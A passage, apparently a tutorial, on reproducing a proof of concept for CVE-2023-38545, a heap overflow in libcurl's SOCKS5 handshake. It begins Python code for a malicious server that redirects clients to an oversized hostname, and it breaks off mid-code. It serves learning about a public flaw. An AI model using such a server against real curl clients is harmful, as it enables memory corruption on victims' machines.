
Proof-of-concept exploit for CVE-2023-38545, a heap buffer overflow in libcurl's SOCKS5 proxy handshake triggered via a malicious HTTP 301 redirect with an oversized hostname.
This article is intended solely for technical discussion and learning. Any direct or indirect consequences or losses caused by the use of the information provided herein shall be borne solely by the user. The author assumes no responsibility for such consequences or losses.
Reference project: https://github.com/UTsweetyfish/CVE-2023-38545 Let's reproduce it.
1. Create a Python file: server.py, create a web service that returns a 301 response with an overly long hostname, listening on port 8000, then execute with python3:```jsx
from http.server import BaseHTTPRequestHandler, HTTPServer
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
# 301重定向到超长的URL
self.send_response(301)